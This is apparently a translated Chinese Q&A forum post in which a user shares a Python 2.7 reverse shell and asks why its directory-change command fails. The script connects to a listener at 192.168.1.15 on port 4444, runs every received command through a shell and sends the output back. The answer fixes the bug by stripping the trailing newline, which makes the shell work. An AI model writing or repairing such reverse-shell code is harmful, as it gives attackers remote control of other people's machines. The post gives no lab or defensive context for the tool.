我正在制作一个简单的Python 2.7反向外壳程序,每次在netcat服务器中键入cd C:\时都会使用目录更改功能,它将引发此错误“ WindowsError:[Error 123]文件名,目录名或卷标签语法不正确:'C:\\ n'“这是我的代码。
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()
答案 0 :(得分:0)
当您使用data = s.recv(1024)
从远程接收数据时,将同时接收在按 Enter 结束当前输入时生成的\n
字符。
因此,您仅需.strip()
,或在获取数据时使用[:-1]
删除最后一个字符(即\n
)。
data = s.recv(1024).strip()
或
data = s.recv(1024)[:-1]
都可以。